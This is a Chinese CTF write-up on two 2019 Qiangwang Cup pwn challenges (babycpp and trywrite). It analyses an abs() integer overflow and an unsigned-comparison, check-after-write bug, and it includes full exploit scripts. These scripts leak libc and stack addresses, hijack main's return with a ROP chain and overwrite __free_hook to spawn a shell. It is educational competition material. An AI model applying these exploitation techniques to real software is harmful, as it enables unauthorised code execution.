2019-強網杯pwn復現--兩題
強網杯pwn題目復現
最近因為一些事情,一直沒怎麼認真研究pwn的東西,最近有時間可以玩一玩pwn了,覆盤一下今年的強網杯題目。 個人覺得有些ctf比賽是學不到什麼東西的,出於學習目的,還是多看看一些傳統強隊主辦比賽中的題目進步大一些,比如xctf-startctf之類的優質比賽,後面有時間也會接著覆盤的。
babycpp
題目邏輯
題目的主要功能由new、show、set、upgrade組成,有部分是透過function_table來實現的,看程式碼的時候可以看出來。
程式漏洞
這個程式的漏洞點在upgrade裡面,利用的是abs函式里面存在的整數溢位問題,具體原理可以看記憶體中的資料儲存,我在裡面已經解釋的很清楚了。
memset(s, 0, 8uLL); printf("Input idx:", 0LL); scanf("%u", &v2); printf("Input hash:"); v5 = read(0, s, 0x10uLL); v3 = abs(v2) % 15; for ( i = 0; i < v5; ++i ) { if ( v3 + i == 16 ) v3 = 0; a1->hash[v3 + i] = s[i];
簡而言之,當abs()函式的引數是0x80000000的時候,因為正整數的範圍少一個,所以他返回的仍然是個負數,導致我們可以修改題目中的function,從而利用int_node和str_node兩種不同的功能,實現任意地址讀和任意地址寫。
利用思路
先看一下我建立的結構體
00000000 message struc ; (sizeof=0x28, mappedto_6) 00000000 function dq ? ; base 2 00000008 hash db 16 dup(?) 00000018 field dq ? 00000020 malloc_chunk dq ? 00000028 message ends
利用思路
透過upgrade修改function_table。
然後洩露heap地址。
heap地址中存在prog資訊,再洩露prog。
利用prog+got洩露libc
利用libc_environ洩露stack地址
hijack libc_main_ret。
利用指令碼
指令碼中有註釋
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './babycpp' ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #ctx.remote = ('172.16.9.21', 9006) ctx.debug_remote_libc = True ctx.symbols = { 'node':0x202060, } ctx.breakpoints = [0x1397]#main:0x1397 abs()%15:0xD47 #ctx.debug() def new(int_flag): sla('ice',0) if int_flag: sla('ice',1) else: sla('ice',2) def set(hash,idx,content,length=0,int_flag=1): sla('ice',2) sl_hash(hash) if int_flag: sla('idx',idx) sa('val',content) else: sla('idx',idx) if length: sla('obj',length) sa('content',content) def show(hash,idx): sla('ice',1) sl_hash(hash) sla('idx',idx) def update(hash1,idx,hash2): sla('ice',3) sl_hash(hash1) sla('idx',idx) sa('hash',hash2) def sl_hash(hash): sa('hash:',hash) def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) int_table = '\xe0\x5c' str_table = '\x00\x5d' rs() new(1) #int hash='\x0' new(0) #str hash='\x1' hash_int = p64(0)+'\n' hash_str = p64(1)+'\n' #leak heap #dbg() set(hash_str,0,'\1',8,0) update(hash_str,0x80000000,int_table) # modify the str_table -> int_table show(hash_str,0) ru('is ') heap_base = int(ru('\n',drop=True),16)-0x11ff0 #leak prog_bss # 0x11ea0 #By using the function_table and reading anywhere to leak libc heap_table = heap_base + 0x11e70 heap1 = heap_base + 0x11ea0 #dbg() set(hash_int,0,hex(heap_table)+'\n') #set(hash_int,1,hex(heap_table)+'\n') set(hash_str,0,hex(heap1)+'\n') update(hash_str,0x80000000,str_table) show(hash_str,0) ru('Content:') prog_base = uu64(r(6))-0x201ce0 #lg('prog_base',prog_base) #leak libc #By using the got_table and reading anywhere to leak libc scanf_got = prog_base + 0x201fb0 #dbg() set(hash_int,0,hex(scanf_got)+'\n') show(hash_str,0) ru('Content:') libc_base = uu64(r(6))-ctx.libc.sym['scanf'] lg('libc_base',libc_base) #hijack the stack. environ = libc_base + ctx.libc.sym['environ'] dbg() set(hash_int,0,hex(environ)+'\n') show(hash_str,0) ru('Content:') stack = uu64(r(6)) lg('stack',stack) main_ret = stack - 0xf0 system = libc_base + ctx.libc.sym['system'] pop_rdi = prog_base + 0x1693 bin_sh = libc_base + ctx.libc.search('/bin/sh').next() set(hash_int,1,'0x80\n') set(hash_int,0,hex(main_ret)+'\n') payload = p64(pop_rdi) + p64(bin_sh) + p64(system) payload = payload * 2 set(hash_str,0,payload,0,0) sla('ice',4) irt()
trywrite
一、心得
從這道題開始,自己嘗試在IDA建立結構體來分析程式邏輯,對於結構體稍微複雜的題目,這個辦法可以讓程式看起來很簡潔明瞭,感興趣的小夥伴可以嘗試一下。
沒建立結構體的題目:
unsigned __int64 add() { __int64 v0; // ST08_8 signed int i; // [rsp+4h] [rbp-3Ch] char s; // [rsp+20h] [rbp-20h] __int64 v4; // [rsp+28h] [rbp-18h] unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; i <= 11 && *(_QWORD *)(8LL * i + unk_203030); ++i ) ; if ( i == 12 ) { puts("Sorry~"); } else { memset(&s, 0, 0x10uLL); puts("Please tell me the key:"); sub_C58(&s, 16LL); *(_QWORD *)(8LL * i + unk_203030) = sub_1096(144LL, 16LL); v0 = *(_QWORD *)(8LL * i + unk_203030); sub_1179(*(_QWORD *)(8LL * i + unk_203030), &s, 8LL); sub_1179(v0 + 136, &v4, 8LL); puts("Please tell me the date:"); sub_C58(v0 + 8, 128LL); puts("Success!"); } return __readfsqword(0x28u) ^ v5;
建立結構體的題目:
unsigned __int64 add() { chunk *v0; // ST08_8 signed int i; // [rsp+4h] [rbp-3Ch] char key[16]; // [rsp+20h] [rbp-20h] unsigned __int64 v4; // [rsp+38h] [rbp-8h] v4 = __readfsqword(0x28u); for ( i = 0; i <= 11 && list[i]; ++i ) ; if ( i == 12 ) { puts("Sorry~"); } else { memset(key, 0, 0x10uLL); puts("Please tell me the key:"); read_n(key, 16LL); list[i] = (chunk *)malloc_inner(144); v0 = list[i]; memcpy_check(list[i], key, 8); memcpy_check(&v0->key1, &key[8], 8); puts("Please tell me the date:"); read_n(&v0->data, 128LL); puts("Success!"); } return __readfsqword(0x28u) ^ v4;
怎麼樣,我沒騙大家吧,確實方便看了許多,而且設定起來也不麻煩。
推薦兩個連結:
https://xz.aliyun.com/t/4205#toc-14
https://bbs.pediy.com/thread-225973.htm
二、程式邏輯
這道題目人為的固定了heap的地址空間,只能從mmap的區域中得到heap,對於得到的heap有地址檢查的操作。這樣也就限制了fastbin/tcache attack,因為malloc出來的chunk只能是mmap區域中的chunk。
這道題目的結構體如下:
struct chunk { char key0[8]; char data[128]; char key1[8]; };
show函式中有一個encode操作,對於輸出要轉換一下才能得到正確的輸出。
unsigned __int64 __fastcall encode(unsigned __int64 data, signed int length, __int64 key) { unsigned __int64 result; // rax _DWORD *v4; // [rsp+8h] [rbp-28h] unsigned int i; // [rsp+24h] [rbp-Ch] unsigned int *v6; // [rsp+28h] [rbp-8h] v4 = (_DWORD *)key; v6 = (unsigned int *)data; for ( i = length; ; i -= 8 ) { result = length + data; if ( (unsigned __int64)v6 >= result ) break; result = i; if ( i <= 7 ) break; sub_F5E(v6, v6 + 1, v4); v6 += 2; } return result; }
漏洞點
這道題目的關鍵點在於change函式。
第一個漏洞點:
v8 = __readfsqword(0x28u); puts("I separated the key of each message in two places."); puts("Only you can tell me exactly where the first key is and how far the second key is from it."); puts("I'll change them for you."); puts("Give me how far the first key is from your heap:"); offset1 = read_ul(); puts("Give me how far the second key is from the first key:"); offset2 = read_ul(); buf = (chunk *)(heap_addr + offset1); buf_8 = (void *)(heap_addr + offset1 + 136); if ( heap_addr + offset1 > heap_addr + mmap_size[0] - offset2 || (unsigned __int64)buf < heap_addr ) //這裡面是無符號比較的,我們可以控制heap_addr + mmap_size[0] - offset2 = -1,因此我們可以讓heap_addr+offset1指向libc。 { puts("Sorry~"); }
第二個漏洞點:
memcpy_check(buf, &key, 8); memcpy_check(buf_8, &v7, 8); for ( i = 0; i <= 11 && (!list[i] || buf != list[i]); ++i )
他的本意是如果想要進行賦值的操作,那麼buf的地址必須要存在於list全域性變數中。但是他是先進行的賦值操作,然後才進行的判斷,因此我們可以第一步修改的時候改動全域性變數,讓後一步的判斷滿足條件。
三、漏洞利用過程
exp來源 Ex師傅的部落格:http://blog.eonew.cn/archives/1072
我也想不出其他的辦法getshell了,就白嫖了師傅的exp,師傅的部落格是個寶藏,建議大家瞅瞅的。
1. leak libc
剛開始的洩露libc沒什麼的說的,tcache填滿,放一個chunk到unsorted bin中,然後一個一個的malloc出來,覆蓋一個位元組,透過show()功能就可以洩露到libc了。
2. 賦寫__free_hook
我們要修改全域性變數list,使得我們的heap_offset1在list中存在,進行如下操作:
change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0))
修改前list如下
pwndbg> x/50xg *$lst 0xabc050: 0x0000000000abc330 0x0000000000abc290 0xabc060: 0x0000000000abc1f0 0x0000000000abc150 # 現在是150 0xabc070: 0x0000000000abc0b0 0x0000000000abc510 #現在是0xabc0b0
change執行後
pwndbg> x/50xg *$lst 0xabc040: 0x0000000000abc470 0x0000000000abc3d0 0xabc050: 0x0000000000abc330 0x0000000000abc290 0xabc060: 0x0000000000abc1f0 0x0000000000abc050 #這裡被修改為了0xabc050,這樣我們後面就可以修改0xabc050的內容了,依次類推,可以任意地址寫。 0xabc070: 0x0000000000abc069 0x0000000000abc510 # 被覆蓋了一個位元組 0xabc069
後面就是把free_hook的地址寫到0xc050地址處,然後再把system寫到free_hook裡面,最後system("/bin/sh")get shell。
完整exp:
#https://github.com/matrix1001/welpwn #-*- coding:utf-8 -*- from PwnContext import * from ctypes import c_uint32 try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './trywrite' libc = ELF('./libc-2.27.so') #ctx.custom_lib_dir = '/home/rhl/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' #change the libs #ctx.remote_libc = './libc.so' #only change the libc.so #ctx.remote = ('172.16.9.21', 9006) #ctx.debug_remote_libc = True ctx.symbols = { 'start':0x203058, 'end':0x203050, 'lst':0x203030, 'top':0x203040, 'heap':0x203048, 'mmap_size':0x203018, } ctx.breakpoints = [0x1905]#0x1905 #ctx.debug() def _decode(v, k, delta): v0 = c_uint32(v[0]) v1 = c_uint32(v[1]) sum = c_uint32(0xe3779b90) for i in range(16): v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum.value) ^ ((v0.value >> 5) + k[3]) v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum.value) ^ ((v1.value >> 5) + k[1]) sum.value -= delta return struct.pack('II', v0.value, v1.value) def qqtea_decode(data, key, delta): k = struct.unpack('IIII', key) length = int(len(data) / 8) d = struct.unpack('II' * length, data) return ''.join([_decode([d[i * 2], d[i * 2 + 1]], k, delta) for i in range(length)]) def add(key,content): sla('command>> \n', '1') sa('key:\n', key) sa('date:\n', content) def delete(idx): sla('command>> \n', '3') sla('index:\n',idx) def change(offset0,offset1,content): sla('command>> \n', '4') sla('heap:\n',offset0) sla('key:',offset1) sa('key:',content) rs() #dbg() key = 'k' * 16 heap_addr = 0xabc000 sla('heap:',str(heap_addr)) sla('now?(Y/N)','Y') sl('goof person') # leak libc addr for i in range(8 + 1): add(key, '\n') for i in range(8): delete(i) for i in range(8): add(key, '\n') # pause() sla('command>> \n', '2') sla('Please tell me the index:\n', str(7)) #dbg() raw = r(0x80) data = qqtea_decode(raw, key, 0x9e3779b9) print(hexdump(data)) main_arena_addr = u64(data[0:8]) + 0x40 log.success("main_arena_addr: " + hex(main_arena_addr)) libc_addr = main_arena_addr - 0x3ebc40 log.success("libc_addr: " + hex(libc_addr)) # modify the field of ptr change(0x68 + 1, 0, p64(heap_addr)[1:] + '\x69' + p64(0)) # write __free_hook to the ptr field __free_hook_addr = libc_addr + libc.symbols['__free_hook'] log.success("__free_hook_addr: " + hex(__free_hook_addr)) #dbg() change(0x50, 0, p64(__free_hook_addr) + p64(0)) # hijack __free_hook system_addr = libc_addr + libc.symbols['system'] log.success("system_addr: " + hex(system_addr)) key0_offset = __free_hook_addr - heap_addr key1_offset = heap_addr + 0x20001 # 無符號比較 -1 轉換為 0xfffffff...無窮大 change(key0_offset, key1_offset, p64(system_addr) + p64(0)) add('/bin/sh\0'.ljust(16, '\0'), '\n') # index 9 delete(9) irt()
相關文章
- 2019-強網杯pwn復現--多數題目2019-10-09
- 2019-東華杯&2019-360ctf__PWN題解2019-11-06
- 2024強網杯web題解2024-11-05Web
- [2024領航杯] Pwn方向題解 babyheap2024-10-14
- 網鼎杯 2024 玄武 pwn2 (kernel)2024-11-19
- 2024強網杯-misc2024-11-17
- [強網杯]賭徒2021-06-17
- 2024 強網杯逆向 Writeups2024-11-03
- 2024春秋杯網路安全聯賽夏季賽-PWN-Writeup2024-07-09
- [強網杯 2019]隨便注2024-11-11
- 強網杯 2021 baby_diary2021-10-11
- 2021強網杯Reverse-LongTimeAgo2021-06-21Go
- [強網杯 2019]隨便注 12024-11-08
- 2024御網線上Pwn方向題解2024-11-01
- CTF_復現(部分) | _XGCTF_西瓜杯2024-07-08GC
- 【打醬油】2018強網杯個人小結2018-04-05
- 埃森哲:2019-實現平等報告2019-03-10
- [零基礎學IoT Pwn] 復現Netgear WNAP320 RCE2022-07-01
- Web_BUUCTF_WriteUp | [強網杯 2019]隨便注2024-07-12Web
- 立即報名參加第三屆強網杯!2019-05-08
- protobuf pwn題專項2024-08-03
- DozerCTF-PWN題解2024-04-28
- PWN出題小記2024-04-11
- pwn題libc換源2024-05-29
- 攻防世界pwn題:Recho2022-07-02
- Flare-On 8th兩道題目復現(Challenge 5 & 7)2022-04-02
- 發現一個可以練習藍橋杯VIP題目的網址2019-03-03
- 高校戰“疫”網路安全分享賽-部分PWN題-wp2020-04-11
- 第三屆“強網杯”倒數計時5天!2019-05-19
- 第三屆“強網杯”報名倒數計時!!!2019-05-14
- 以"2021強網杯unicorn_like_a_pro"入門unicorn2021-06-21
- pwn題命令列解題指令碼2021-04-05命令列指令碼
- Pwn2Own Austin 2021 Cisco RV34x RCE 漏洞鏈復現2023-03-07
- 第三屆“強網杯”首日戰報新鮮出爐,現場原來這麼酷!!!2019-06-19
- 誠邀各界網安精英,決戰第三屆中國“強網杯”2019-05-10
- [Black Watch 入群題]PWN 12024-06-04
- 報名第三屆“強網杯”全國網路安全挑戰賽,爭奪500萬現金獎勵!2019-05-09
- 收藏!第三屆強網杯報名指南新鮮出爐。2019-05-16